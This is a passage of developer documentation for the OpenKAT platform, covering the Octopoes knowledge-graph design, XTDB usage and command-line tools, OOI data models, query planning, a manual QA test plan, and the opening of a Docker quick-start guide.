Octopoes v3): same as the previous chapter, and explicitly store the GraphQL schema definition in such a way that it becomes append-only and backwards introspectable. However, this most likely requires explicit namespacing and versioning of our schema definition and model.\n\nComputational complexity of relational rules\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nDue to the recursive nature of this processing model, there is no way to know how many iterations are required to find/extract all knowledge from the data (halting problem).\n\nAlso, in the case of relational rule input patterns, responding to data updates, might get very complex as one needs to evaluate subclass membership for every rule R, for every data point update P. Naively, this results in a quadratic time complexity of O(R*P).\n\nInclusion of probabilistic paradigms?\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nOne could argue that a problem which is probabilistic in nature, requires a solution that takes the role of probability as a first-class citizen in its architecture. Perhaps this can be framed as a sliding scale where one can decide up until where in the data processing pipeline probability should be taken into account.\n\nOne extreme would be the current implementation, which eliminates probability in the earliest possible stage, after which the data processing happens non-probabilistic in the inference and beyond.\n\nThe other extreme is to embed probability throughout the entire data processing pipeline, where even derived conclusions have a certain probability.\n\n\nPart II - Working towards a solution\n====================================\n\nStages of data processing\n-------------------------\n\nIn this part, architectural considerations are documented. A proposal for the primary dataflow is drawn below.\n\nData model / domain of discourse\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nTo start off, it seems imperative that some sort of data model is central in Octopoes’ architecture. To be able to recognize entities, to reason about them and to provide introspection, a domain of discourse must be known. Validation at this stage is questionable, this must perhaps take place in the bits/rules\n\nUpfront DDL?\n^^^^^^^^^^^^\nAt the bare minimum, to make sure that incoming data about the world is resolved into claims about entities, entity recognition must be possible. It must be known somewhere that IPv4Address 1.1.1.1 in the output of BoefjeX is the same entity as IPv4Address 1.1.1.1 in the output of BoefjeY.\n\nAn architectural choice lies in the rest of the schema definition (DDL). Do we enforce a strict data model upfront and validate incoming data against it? Or is the data model the result of introspection of FactSpace?\n\nEntity ID\n^^^^^^^^^\n\nThought: are Entity IDs generated, or a hash of their identifying (natural key) attributes?\n\nGenerated IDs result into more lookups when ingesting incoming data. This however can be sped up with a cache like Redis or the like.\n\nNatural key hashes result into less lookups, but it makes migrations more painful in some situations.\n\nClaimSpace\n----------\n\nPlugin output = Claim Set\n\nClaim can be:\n\n* Entity exists\n* Entity does not exist (note: this is not supported in Octopoes v2)\n* Entity has attribute, with value x\n\nThe Claim Set of a plugin-OOI combination replaces the previous Claim Set of the same combination.\n\n.. figure:: img/octopoes/claimspace.png\n  :alt: ClaimSpace\n\n  ClaimSpace\n\nFactSpace\n---------\nThe stage where claims are consolidated into (assumed) facts.\n\n.. figure:: img/octopoes/factspace.png\n  :alt: FactSpace\n\n  FactSpace\n\nThought: certain objects have dependencies. It would be weird if an Ip Port exists, while the IPAddress itself does not.\n\n.. figure:: img/octopoes/claimspace_dataflow.png\n  :alt: Dataflow with claim and factspace\n\n  Dataflow with claim and factspace\n\nInference\n---------\n\nOne of the powerful intended features of KAT is that a rule can create/modify data, which could then trigger another rule to create/modify even more data. This allows data to pass through multiple layers of rule-based processing.\n\nRule execution is triggered through the definition of a rule’s input. To allow expressiveness, a rule’s input is defined as a pattern. The rule should be applied to each occurrence of said pattern. The diagram below is an example of a rule (bit) which triggers on a pattern, and produces new nodes in the graph. Note that the output changes the graph itself, which means that pattern matching will have to be redone for the entire graph.\n\n.. figure:: img/octopoes/graph_rule_patterns.png\n  :alt: Graph rule patterns\n\n  Graph rule patterns\n\nThe simplest patterns could e.g. be a class of entities, resulting in rule execution for each entity in the class. More complex patterns could be a subset of a class of entities that conform to a certain condition, defined by a - possibly relational - query. Rule execution in this case, should only happen if an entity exists in the defined subset.\n\n\nHandling updates / incoming data\n--------------------------------\nWhen assuming the rules are not paradoxical, the complete set of knowledge equals the explicit knowledge plus the implicit knowledge obtained by the reasoner. As such, this complete set of knowledge can be considered a pure derivative of the knowledge base.\n\nIn database terminology, the equivalent would be a view. Octopoes chooses to fully compute and store the implicit knowledge, gained by executing all rules on the base data. Effectively resulting in a materialized view. For all intents and purposes, Octopoes considers all inferred knowledge to be a cached overlay atop the observed and declared data points.\n\nWhen changes in the base data (Claims or rules) are received there are several possible approaches of recomputing the materialized view.\n\nBatch processing\n^^^^^^^^^^^^^^^^\nOne way could be to remove all derived data points from the graph and recompute the complete materialized graph from scratch. This could be considered a batch-based approach. It could be worth investigating this rather simple approach. However, it is likely resulting in redundant re-computes of the same data causing it to be computationally costly. Overall, this will probably create a bottleneck with slow throughput, slowing down the complete feedback loop significantly.\n\nAbove does not even take into account that because of the cyclic data flow from base to the final derivative, even one recompute of the materialized view could be quite costly. (Bits result into Claims, causing the claims to be recomputed, causing new bits, causing new Claims, etc).\n\nIncremental processing / streaming\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nA less computationally expensive approach could be adoption of the novel paradigm called timely dataflow. This approach allows for efficient incremental materialized view updates by constraining recompute of derived data.\n\nDue to time constraints the exact internal workings remain unknown to us for now. But looked at at a glance, this stream processing technique seems to trade space-complexity to reduce the time-complexity. It is currently unclear to us what the impact of the intended recursive rule-processing might be on the complexity, but it seems to be able to handle recursion fine.\n"
  },
  {
    "path": "docs/source/developer-documentation/octopoes.md",
    "content": "# Octopoes\n\nOctopoes is KAT's knowledge-graph. It stores the knowledge KAT has gathered about its domain. As Octopoes uses [XTDB](https://xtdb.com) for bi-temporal data-storage, Octopoes keeps the current state of the knowledge-graph, as well as a complete, queryable history of the knowledge-graph.\n\n## Instructions\n\nInstall dependencies\n\n```bash\npython3 -m pip install -r requirements.txt\n```\n\n### Run Octopoes API\n\n```bash\npython3 -m uvicorn octopoes.api.api:app [--port 8000]\n```\n\n### Run the event processor\n\n```bash\npython3 -m celery -A octopoes.tasks.tasks worker -B -s /tmp/celerybeat-schedule --loglevel=WARNING\n```\n\n_Note: The `-B` flag instructs celery start the Celery Beat scheduler in the same process_\n_Note: The `-s` flag is used to specify the beat schedule location and should be writeable by the user the process runs in_\n\n## Healthcheck\n\n```bash\n# Return XTDB connection info\ncurl http://localhost:8000/_dev/health\n# Return some XTDB objects (or empty list [])\ncurl http://localhost:8000/_dev/objects\n\n# To request data for a different KAT-client:\ncurl http://localhost:8000/clientx/healthcheck\n```\n\n## OOI\n\nThe domain of discourse, on which Octopoes operates, is described by the OOI datamodel. The OOI (Object of Interest) model is described by entities and relations between them. The OOI model is currently defined in Octopoes itself (module `octopoes.model.ooi`). However, it is planned to be defined in the Openkat schema registries, decoupling the applicable domain from the logic.\n\n## Origin\n\nEach OOI must have an origin to exist in the knowledge-graph. Origins can be supplied to Octopoes in 3 ways:\n\n- origin through declaration\n- origin through observation\n- origin through inference\n\nEach origin consists of:\n\n- the identifier of the origin-method\n- a source OOI\n- a set of result OOIs\n- additional metadata. E.g. the task-ID that made the observation\n\n## Origin through declaration\n\nAn OOI is declared to exist by a user of KAT.\n\n_In this case, OOI B is both source and result_\n\n```{mermaid}\nflowchart RL\n\nD[Declaration D]\n\n  subgraph result[ ]\n    B[OOI B]\n  end\n\nB-.source.-D\nD-.result.- result\n```\n\n## Origin through observation\n\nAn observation is reported by a normalizer\n\n- An observation has a key that identifies the normalizer\n- An observation always has a source OOI\n- An observation always has a (possibly empty) set of result OOIs\n\n```{mermaid}\nflowchart LR\n\nA[OOI A]\nO[\"Observation O (OOI A)\"]\n\n  subgraph outp[ ]\n  B[OOI B]\n  C[OOI C]\n  end\n\nA-.source.-O\nO-.result.- outp\n\n```\n\n## Origin through inference\n\nAn object is inferred from other objects in the knowledge-graph. This is achieved by rules, declared in bits. A bit is a rule that is applied to a pattern in the knowledge-graph.\n\n```{mermaid}\nflowchart TD\n\n  subgraph pattern[ ]\n  direction TB\n  A[OOI A]---B[OOI B]\n  A---C[OOI C]\n  end\n\n  subgraph result[ ]\n  direction RL\n  D[OOI D]---E[OOI E]\n  end\n\nBIT[\"Bit B (OOI A)\"]\n\nA-.source.-BIT\npattern-.pattern.-BIT\nBIT-.result.- result\n\n```\n\n## Graph mutations\n\nMutations can only be made by supplying an origin to Octopoes. This can be an origin through declaration, or origin through\nobservation. When, after an origin-update, an OOI is no longer referenced by any origin. The OOI will be deleted from the knowledge-graph.\n\n_Example:_ observation O has result B and C\n\n```{mermaid}\nflowchart LR\n\nA[OOI A]\nA-.source.-O\nO[\"Observation O (OOI A)\"]\n\nO-.result.- result\n\n    subgraph result[ ]\n    direction LR\n    B[OOI B]---C[OOI C]\n    end\n```\n\nAfter a mutation, observation O has result B.\nC is no longer referenced, and is deleted from the knowledge-graph.\n\n```{mermaid}\nflowchart LR\n\nA[OOI A]\nO[\"Observation O (OOI A)\"]\n\n    subgraph result[ ]\n    direction LR\n    B[OOI B]\n    end\n\nC[OOI C]:::someclass\n\nA-.source.-O\nO-.result.- result\nB[OOI B]x--xC[OOI C]\n\nclassDef someclass fill:#f96, color:#000, stroke:#000;\n```\n\nIf C had been referenced by another origin, it would not have been deleted.\n\n_OOI C is not deleted, since it's still referenced by Observation P_\n\n```{mermaid}\nflowchart LR\n\nA[OOI A]\nO[\"Observation O (OOI A)\"]\nsubgraph result[ ]\n  direction LR\n  B[OOI B]\nend\nC2[OOI C]\n\nA-.source.-O\nO-.result.- result\nB[OOI B]x--xC2\n\nE[OOI E]\nP[\"Observation P (OOI B)\"]\nsubgraph result2[ ]\n  direction LR\n  D[OOI D]---C[OOI C]\nend\n\nE-.source.-P\nP-.result.- result2\n```\n\n## Code Architecture\n\nIn high level, the code architecture is as follows:\n\n- _Origin gets reported to the API_\n- _API calls the service layer_\n- _Service layer calls the data layer_\n- _Data layer sends out a mutation event_\n- _Listener catches the mutation event_\n- _Listener calls service layer to process mutation_\n\n```{mermaid}\nflowchart LR\n\nListener\nAPI\nOctopoesService\n\n\nAPI --> OctopoesService\n\nListener --> OctopoesService\nOctopoesService --> Repository\n\nRepository --> XTDB[(XTDB)]\nRepository --> EventManager\nEventManager --> Listener\n```\n\n### Sequence: save_origin\n\n```{mermaid}\nsequenceDiagram\n\nactor Client\nparticipant API\nparticipant OctopoesService\nparticipant OriginRepository\nparticipant OOIRepository\nparticipant XTDB\nparticipant EventManager\n\nClient ->>+ API: save_origin(origin, oois, valid_time, organisation)\nAPI ->>+ OctopoesService: save_origin(origin, oois, valid_time)\nOctopoesService ->>+ OriginRepository: save(origin, valid_time)\nOriginRepository ->> XTDB: get(origin, valid_time)\nOriginRepository ->> OriginRepository: compare(origin)\nOriginRepository ->> XTDB: save(origin, valid_time)\nOriginRepository ->> EventManager: publish( CREATE_ORIGIN )\nOriginRepository ->- OctopoesService: #nbsp\nOctopoesService ->>+ OOIRepository: save(ooi, valid_time)\nOOIRepository ->> XTDB: get(ooi, valid_time)\nOOIRepository ->> OOIRepository: compare(ooi)\nOOIRepository ->> XTDB: save(ooi, valid_time)\nOOIRepository ->> EventManager: publish( UPDATE_OOI )\nOOIRepository ->- OctopoesService: #nbsp\nOctopoesService ->- API: #nbsp\nAPI ->- Client: #nbsp\n```\n\n### Sequence: process update ooi\n\n```{mermaid}\nsequenceDiagram\n\nactor EventManager\nparticipant Listener\nparticipant OctopoesService\nparticipant OriginRepository\nparticipant XTDB\n\nEventManager ->>+ Listener: handle_event(event<UPDATE_OOI>)\nListener ->> OctopoesService: handle_update_ooi(event, valid_time)\nOctopoesService ->> OriginRepository: get_origin(event.origin, type=inference)\nOriginRepository ->> OctopoesService: bits\nloop bits\n  OctopoesService ->> OctopoesService: run_bit\nend\n\nListener ->>- EventManager: #nbsp\n```\n\n## XTDB\n\n[XTDB](https://xtdb.com) is the central database of OOIs within KAT. XTDB is a graph-database that can store objects (schemalessly), while providing object history and audit-trail functionality out-of-the-box. The term _bitemporal_ means it tracks every object on 2 time axis: valid-time and transaction-time.\n\n- Valid-time means the state of an object at a certain time _X_ (mutable).\n- Transaction-time means the state of an object with all transactions-processed until time _Y_ (immutable)\n\nThis is especially useful for forensics-type queries like: What was the state of an object at time _X (valid-time)_, with the information we had at time _Y (transaction-time)_.\n\nGood to know: XTDB tracks the history of each object by its **primary key**.\n\n[Read more about XTDB bitemporality](https://v1-docs.xtdb.com/concepts/bitemporality/)\n\n### XTDB-cli tool\n\nThe XTDB-cli tool is a script that can be used to query the XTDB database (v1) directly. This can be useful to query for transactions, queries, attributes, keys and more. It can be used to directly manipulate XTDB, without the interference of Octopoes. This can be useful for tasks such as experimenting, bug hunting and optimizations.\n\nPlease note: The XTDB version within OpenKAT is not the standard XTDB. It is an extended module version that adds support for multiple nodes available at: [OpenKAT XTDB](https://github.com/dekkers/xtdb-http-multinode)\n\nThe XTDB-cli tool can be found in the following folder:\n\n```\nhttps://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/octopoes/tools\n```\n\nIt is recommended to create a virtual environment and install the developer-requirements (in the octopoes folder) within this virtual environment. You could also execute the xtdb-cli commands from within the `octopoes_api` container if you are using a Dockerized setup.\n\nThe XTDB-cli tool can be queried as shown below.\n\nFrom the environment:\n\n```bash\n$ ./xtdb-cli.py -h\n```\n\nOr from inside the container, using a new `octopoes_api` container instance:\n\n```bash\n$ docker compose run --rm octopoes_api tools/xtdb-cli.py -h\n\nUsage: xtdb-cli.py [OPTIONS] COMMAND [ARGS]...\n\nThis help functionality explains how to query XTDB using the xtdb-cli tool. The help functionality for all default XTDB commands was copied from the official XTDB docs for the HTTP implementation. Not all optional parameters as available on the HTTP docs may be implemented.\n\nOptions:\n -n, --node TEXT        XTDB node  [default: 0]\n -u, --url TEXT         XTDB server base url  [default: http://localhost:3000]\n -t, --timeout INTEGER  XTDB request timeout (in ms)  [default: 5000]\n -v, --verbosity        Increase the verbosity level  [default: 0]\n -h, --help             Show this message and exit.\n\nCommands:\n active-queries       Returns a list of currently running queries.\n attribute-stats      Returns frequencies of indexed attributes\n await-tx             Waits until the node has indexed a transaction that is at or past the supplied tx-id.\n await-tx-time        Blocks until the node has indexed a transaction that is past the supplied tx-time.\n entity               Returns the document map for a particular entity.\n entity-tx            Returns the transaction details for an entity - returns a map containing the tx-id and...\n history              Returns the history of a particular entity.\n latest-completed-tx  Returns the latest transaction to have been indexed by this node.\n latest-submitted-tx  Returns the latest transaction to have been submitted to this cluster.\n list-keys            List all keys in node\n list-values          List all values in node\n query                EDN Query (default: \"{:query {:find [ ?var ] :where [[?var :xt/id]]}}\")\n recent-queries       Returns a list of recently completed/failed queries.\n slowest-queries      Returns a list of slowest completed/failed queries ran on the node.\n status               Returns the current status information of the node\n submit-tx            Takes a vector of transactions (any combination of put, delete, match, evict and fn) and...\n sync                 Wait until the consumer’s lag is back to 0 (i.e.\n tx-committed         Checks if a submitted tx was successfully committed, returning a map with tx-committed and...\n tx-log               Returns a list of all transactions, from oldest to newest transaction time - optionally...\n txs                  Show all document transactions\n```\n\nThe help file for the commands can be queried as shown below.\n\n```bash\n\n$ ./xtdb-cli.py history -h\nUsage: xtdb-cli.py history [OPTIONS] KEY\n\nReturns the history of a particular entity.\n\nOptions:\n --with-docs         Includes the documents in the response sequence, under the doc key (boolean, default: false)\n --with-corrections  Includes bitemporal corrections in the response, inline, sorted by valid-time then tx-id\n                     (boolean, default: false)\n -h, --help          Show this message and exit.\n\n```\n\nThe output below gives an example for querying the XTDB database for an organisation called 'MyOrganisationName'. This is the organisation code, not the organisation name and can be found in the organisation overview at: `http://127.0.0.1:8000/en/organizations/` listed in the code column.\n\n```bash\n\n$ ./xtdb-cli.py -n MyOrganisationName attribute-stats |jq .\n{\n \"DNSSOARecord/serial\": 14,\n \"Website/ip_service\": 10,\n \"HTTPResource/website\": 10,\n \"Hostname/primary_key\": 8,\n \"DNSNSRecord/name_server_hostname\": 3,\n \"DNSSOARecord/hostname\": 14,\n \"HostnameHTTPURL/primary_key\": 2,\n \"DNSTXTRecord/dns_record_type\": 2,\n \"TLSCipher/ip_service\": 4,\n \"DNSMXRecord/value\":\n ....\n }\n\n```\n\n#### Examples\n\nIn these examples we supply the Dockerized calls, expecting the server to be available on localhost:3000 and we use an organization or `node` that's called 'test'\n\n```bash\n\n# list all network OOIs\n\n$ docker compose run --rm octopoes_api tools/xtdb-cli.py --url http://crux:3000 --node test query '{:query {:find [ ?var ] :where [[?var :object_type \"Network\"]]}}'\n\n# list all IPAddressV4 objects\n\n$ docker compose run --rm octopoes_api tools/xtdb-cli.py --url http://crux:3000 --node test query '{:query {:find [ ?var ] :where [[?var :object_type \"IPAddressV4\"]]}}'\n\n# show the transaction (or TxId's and their timestamps) of a single OOI (A findingType in this case)\n\n$ docker compose run --rm octopoes_api tools/xtdb-cli.py --url http://crux:3000 --node test history 'KATFindingType|KAT-WEBSERVER-NO-IPV6'\n\n# show the Contents of a single OOI (A FindingType in this case)\n\n$ docker compose run --rm octopoes_api tools/xtdb-cli.py --url http://crux:3000 --node test entity 'KATFindingType|KAT-WEBSERVER-NO-IPV6'\n\n# the same, but now return the most recent) metadata for that object\n\n$ docker compose run --rm octopoes_api tools/xtdb-cli.py --url http://crux:3000 --node test entity-tx 'KATFindingType|KAT-WEBSERVER-NO-IPV6'\n\n```\n\n### XTDB analyze bits tool\n\nThis guide assumes the following:\n\n- A virtual environment for the octopoes folder is created and the development requirements are installed.\n\nThis tooling can be used when you are developing bits (business rules). It outputs the transaction times in the database, the source and bit information, including parameters and how long the running time was.\n\nEnable the `GATHER_BIT_METRICS` setting in the following file. The flag is at the bottom of the file. Change `GATHER_BIT_METRICS=False` to `GATHER_BIT_METRICS=True`.\n\n```\n\noctopoes/octopoes/config/settings.py\n\n```\n\nRun a `make reset` in your KAT instance to enable the setting:\n\n```bash\n\nmake reset\n\n```\n\nCreate some data by adding a hostname, enable some boefjes, etc. This will allow the bit metrics to be gathered. You can query the bit metrics using the following commands. The `node` is the name of your organisation. In this example the organisation name is 'aa'.\n\n```bash\n\npython3 octopoes/tools/analyze-bit-metric.py --node \"aa\" raw |jq\n\n```\n\n```bash\n\npython3 octopoes/tools/xtdb-cli.py -n \"aa\" history --with-docs \"BIT_METRIC\" |jq\n\n```\n\nIf you want to query the XTDB database directly, you can use the XTDB-tool. This is explained on the following page: https://docs.openkat.nl/developer_documentation/octopoes.html#xtdb-cli-tool.\n\n## OOI Objects\n\nOOI objects are instances of relatively simple classes, which inherit from `OOI`.\n\nBecause all OOIs are stored in XTDB and XTDB tracks object history by primary key, KAT defines a way to reliably determine the primary key of an object by its attributes. This is called the [natural key](https://en.wikipedia.org/wiki/Natural_key) of an object.\n\nThe main advantage of this method, is that when enough attributes of an OOI are discovered, the primary key of this object is known. This allows reasoning about the exact same objects in several subsystems, without having to query a database.\n\nConsider this (oversimplified) Person class\n\n```python\nfrom octopoes.models import OOI\n\n\nclass Person(OOI):\n  name: str\n  last_name: str\n  age: int\n\n  _natural_key_attributes: ['name', 'last_name']\n\n\n# 2 completely separate systems can instantiate the the following Person OOI:\njohn = Person(name='John', last_name='Doe', age=42)\n\n\n# And without having to search this person in a central database, the primary key is known:\njohn.natural_key # 'John/Doe'\njohn.primary_key # 'Person/John/Doe'\n```\n\n_Note that the primary key consists of the natural key prefixed by the OOI-type, to avoid PK collisions_\n\n## Relationships\n\nOOIs can be related to each other. At time of writing the OOI data structure looks like this:\n\n_Directional arrows indicate a foreign key pointing to referred object_\n![KAT Data Structure](img/kat_data_structure.png \"KAT Data Structure\")\n\nIn a one-to-many relationship (`A 1-* B`), the relationship is stored in B (**B points to A**). For example, an IP-address belongs to a Network. So the Network primary key is stored as a foreign key in the IP-address object.\n\n```python\nfrom octopoes.models import OOI, Reference\nclass Network(OOI):\n    name: str\n    _natural_key_attrs = ['name']\n\nclass IpAddressV6(OOI):\n    Network: Reference[Network]\n    address: str\n    _natural_key_attrs = ['Network', 'address']\n```\n\n## A few example records\n\n![KAT Data Example](img/kat_data_example.png \"KAT Data Example\")\n\n## OOI Reference\n\nEven though foreign keys are actually simple strings, for ease of use these strings are represented in Octopoes by a special `Reference` object.\n\nOOIRefs can be obtained in several ways.\n\n```python\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.network import Network, IPAddressV6\n\n# Through the .ref() method of an OOI instance\ninternet = Network(name='internet')\ninternet_ref = internet.reference\n\n# Or from string\ninternet_ref = Reference.from_str('Network|internet')\n\n# Create a related object with a ref\nip = IPAddressV6(network=internet_ref, address='2001:db8::1')\n```\n\nSince an OOIRef is a compound key, individual parts of the foreign key can be retrieved by the `parsed` property.\n\n```python\nfrom octopoes.models import Reference\n\nref = Reference.from_str('IpPort|internet|2001:db8::1|tcp|5050')\n\nref.tokenized.protocol # 'tcp'\nref.tokenized.port # '5050'\nref.tokenized.address.address # '2001:db8::1'\n```\n\n![KAT Ref Example](img/kat_ref_example.png \"KAT Ref Example\")\n\n## Octopoes API\n\n### OctopoesAPIConnector\n\nThe OctopoesAPIConnector class provides a Python interface for connecting with Octopoes API.\nIt provides several methods for doing CRUD operations for the objects/entities.\n\n#### Querying objects\n\nIn particular, for querying objects we have:\n\n- `OctopoesAPIConnector.list_objects()` to filter on OOIs `type`, `scan_level`, `scan_profile_type` and `valid_time`.\n\nThis is used for example in the object overview page. Returns a paginated list of OOIs.\n\n- `OctopoesAPIConnector.get_tree()` to filter out neighbouring OOIs starting from a root OOI (`reference`) in\n  the object graph.\n\nThe graph is traversed until a specified `depth` is reached, filtering on `types` and `valid_time`.\nReturns a `ReferenceTree`: a tree-like structure of OOIs representing a subgraph of the objects graph.\nThe conversion from graph to tree happens through \"unfolding\" the graph during traversal and allowing duplication of\nnodes in the tree to avoid cycles. Because of the duplication the structure includes a unique, flattened list of OOIs\npresent in the tree, the `ReferenceTree.store`, for convenience. Unsurprisingly, this method is used for rendering\nobject-graphs.\n\n- `OctopoesAPIConnector.list_origins()` to filter on `valid_time`, `source`, `result`, `task_id`and `origin_type`.\n\nDue to the `task_id` filter, this allows users to connect OOIs to the most recent normalizer task\nthat found these OOIs. This is used to find the original boefje task and raw data that \"proofs\" the existence of the\nOOIs. Returns a list of Origins.\n\n- `OctopoesAPIConnector.list_findings()` to filter Findings on `valid_time`, `severities`, `exclude_muted`,\n  `only_muted`, `offset`, `limit`.\n\nThis method offers some Finding-specific filters for convenience on Finding pages.\nReturns a paginated list of Findings.\n\n## Abstract classes / subclassing\n\nRelationships from an OOI class to another OOI class are inferred through its property types. It is\npossible to define a relationship to an abstract class.\n\nFor querying purposes and grouping purposes these abstract classes can also be used.\n\n```python\nfrom octopoes.models import OOI, Reference\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\n\n# Define abstract class and subclasses\nclass IPAddress(OOI):\n  ...\n\nclass IPAddressV4(IPAddress):\n  ...\n\nclass IPAddressV6(IPAddress):\n  ...\n\n\n# Relationships to abstract class\nclass IPPort(OOI):\n    address: Reference[IPAddress] # Any subclass of IPAddress (IPAddressV4, IPAddressV6)\n    protocol: str\n    port: int\n\n\nclass TagExample(OOI):\n    ooi: Reference[OOI] # Any subclass of OOI..\n    tag: str\n\n\n# Query abstract class\nOctopoesAPIConnector('http://octopoes', '_dev').list_objects({IPAddress})\n```\n\n## Querying\n\nOctopoes API uses the OOI model to construct XTDB queries. For complex graph-querying, XTDB's [pull-syntax](https://v1-docs.xtdb.com/language-reference/1.24.3/datalog-queries/#pull) is used to build a query tree. XTDB can join objects to properties which hold (lists of) foreign keys.\n\nImagine a query \"Give me IpAddressV4 with primary key **_X_** and all related objects **2** levels deep\".\n\nWhat happens under the hood:\n\n- A relation map is created with all OOI classes and their relations\n- A query plan is created by traversing the relation map 2 levels deep. The queryplan is a tree of QueryNode objects\n- The query plan is transformed into a XTDB Datalog query, utilizing its pull syntax to join related objects\n\n**Rules**:\nA few rules come into play when planning the query.\n\n- Relations are not traversed back through the previous relation. E.g.:\n  `IpAddressV4 -> IpPort -> IpAddressV4`\n- Leaf nodes are OOI classes that have too many relations to effectively traverse if they are not the starting node. Currently these are `Network`, `Finding` and `Job`\n\n**Query Plan Visualization:**\nThe OOI class tree is traversed 2 levels deep. Bear in mind that both Finding and Job can be related to any OOI, so the following paths are valid:\n\n```\n- IpAddressV4 -> Finding\n- IpAddressV4 -> Job\n- IpAddressV4 -> DnsARecord -> Finding\n- IpAddressV4 -> DnsARecord -> Job\n- IpAddressV4 -> IpPort -> Finding\n- IpAddressV4 -> IpPort -> Job\n- IpAddressV4 -> IpPort -> IpService\n- IpAddressV4 -> DnsARecord -> Hostname\n....etc\n```\n\nHence the 1 and 2 levels markers on Finding and Job in the image below.\n![KAT Query Plan](img/kat_query_plan.png \"KAT Query Plan\")\n\n## Run bit manually\n\nIt is possible to manually run a bit using\n\n```shell\n$ ./tools/run_bit.py ORGANIZATION_CODE BIT_ID OOI\n```\n\nThis will execute the bit with debug logging turned on. `run_bit.py` supports\nthe `--pdb` option to enter the standard Python Debugger when an exceptions\nhappens or breakpoint is triggered.\n\nIf you are using the standard docker compose developer setup, you can use\n`docker compose exec` to execute the command in the container:\n\n```shell\n$ docker compose exec octopoes_api ./tools/run_bit.py ORGANIZATION_CODE BIT_ID OOI\n```\n\nExample usage:\n\n```shell\n$ docker compose exec octopoes_api ./tools/run_bit.py comp dns-resolving \"DNSARecord|internet|mispo.es|314.15.926.53.\"\n```\n\n## Tests\n\nThe unit tests `octopoes/tests` are run using\n\n```shell\npython -m unittest discover octopoes/tests\n```\n"
  },
  {
    "path": "docs/source/developer-documentation/qa-test-plan.rst",
    "content": "QA Test plan\n############\n\nThis document describes the QA process within OpenKAT. The QA process consists of the following phases:\n\n- Read the PR\n- Manual testing\n- Check the Docker logs\n- Document QA notes\n\n\nRead the PR\n===========\n\nThe first step is to read the ticket and the PR (including comments) to get an idea of what the PR is about and what it should fix. The QA notes on what could possibly break are useful to put a focus, however, experience shows that other parts sometimes break as a side effect. Therefore it is useful to generally perform more manual testing than described in the QA notes of the PR.\n\nCheck which files have changed in the PR and skim the code to get a general idea of what/where things have changed. Based on the file changes try to focus and reproduce also the things observed in the code.\n\n- If changes to Rocky are made you know that this affects the user experience, thus weird/unexpected user behaviour scenarios should be tested.\n\n- If there are changes to Octopoes, verify that the 'inner workings' of OpenKAT still work, such as propagation of clearance levels, objects are created, etc.\n\n- If there are changes to the Mula (Scheduler), verify that Tasks are created (boefjes and normalizers), reschedule tasks, schedule reports, etc.\n\nManual testing\n=================\n\nEach PR is manually tested to check if any bugs are identified before the PR is merged onto the main branch.\n\nThe manual testing phase consists of 2 stages:\n- General user testing to check if everything still works as expected and there are no unexpected side effects.\n- Specific testing for the PR to check if the PR works as described and test what happens if the user performs unexpected actions (e.g. goes back into the flow, editing data, unexpected values, etc.). This is specific for each PR.\n\nThe following things are always checked:\n\n- Does the onboarding flow work?\n- Does the onboarding result in the expected number of findings? This means that the corresponding tasks from boefjes and normalizers have also succeeded.\n- Manually enabling/disabling boefjes in the Katalogus.\n- Check if all navigation tabs can be loaded.\n- Findings: check if findings are created and if they resolve from Pending into a severity. Check that the Finding specific pages can be loaded.\n- Reports: Generate a normal and aggregate report with the following variables:\n\t- 1 host with 1 report\n\t- 1 host with multiple reports\n\t- multiple hosts with 1 report\n\t- multiple hosts with multiple reports\n\t- schedule a report and check for single scheduled reports.\n\t- Check if reports can be exported to PDF and json.\n\t- Check if the Scheduled and History tabs show data.\n- Objects: Open the object details page of a hostname and check if the following data is present:\n\t- Multiple results under 'Last observed by'\n\t- Multiple results under 'Last Inferred by'\n\t- List of related objects\n\t- Tasks that ran on the Hostname object\n\t- Findings tab\n- Tasks: On the Tasks page check the following:\n\t- Check for any failed tasks on the boefjes and normalizer Task statistics.\n\t- On the Boefjes tab:\n\t\t- download raw data file to check if this works.\n\t\t- Reschedule a task to check if this works and completes.\n\t- On the Normalizer tab:\n\t\t- Check if the normalizer creates Yielded tasks (not every normalizer creates yielded tasks, requires manual verification to verify that this is correct).\n\t\t- Click the link of the yielded objects to see that the redirect works.\n- Generally click around, and see if you observe any unexpected behaviour.\n- Add a second organization and verify that no data from organization 1 shows up in organization 2.\n\nIf a potential bug is identified, usually the first step is to verify if this also happens on the main branch. If it is a PR specific bug the bug is discussed with the author of the PR to discuss if this is (currently) expected behaviour. The next step is to write the QA notes.\n\nCheck the Docker logs\n=====================\n\nCheck the Docker logs for any errors to check if any unexpected things crashed or broke that were not visible in the web interface.\n\nDocument QA notes\n====================\nThe QA notes template is pasted in the PR and filled in with a description of the bugs, including any screenshots and reproducing steps. This is a mandatory step, as the next time the PR is QAed it might not be as clear on what/where the bug occurred and it is useful for future reference.\n\nThe template for QA notes can be found in ```docs/source/templates/pull_request_template_review_qa.md```\n\nOn occasion\n===========\n\nOn occasion the following things are checked, as they don't tend to break often.\n\n- Check if a multi report can be generated.\n- Answer Question object and change Configs\n- Add various objects manually to check if the objects can be created.\n- Upload files (e.g. list of hostnames and raw files)\n"
  },
  {
    "path": "docs/source/developer-documentation/quick-start.rst",
    "content": "===========\nQuick start\n===========\n\nInstallation\n************\nThis quick start guides will help you to get OpenKAT started on Ubuntu using the Docker setup. The steps below were performed on a clean Ubuntu 22.04 LTS virtual machine. This quick start assumes you have a working Ubuntu installation ready. Please note that these steps help you to setup a playground/developer environment for OpenKAT, this means you should not use it as a production environment. If you do, you do so at your own risk.\n\nDo *not* install Docker directly from the default Ubuntu repositories. This version is older and OpenKAT generally uses newer features. Using the Ubuntu repository version will likely break your OpenKAT install (at some point).\n\n\n#. Follow the Docker installation steps as mentioned here: `Docker Ubuntu Installation steps <https://docs.docker.com/engine/install/ubuntu/#installation-methods>`_. This tutorial followed the installation steps using the `apt` repository. Make sure that you can run the `hello-world` Docker image.\n\n#. Follow the post-installations steps as described here: `Docker post-installation steps 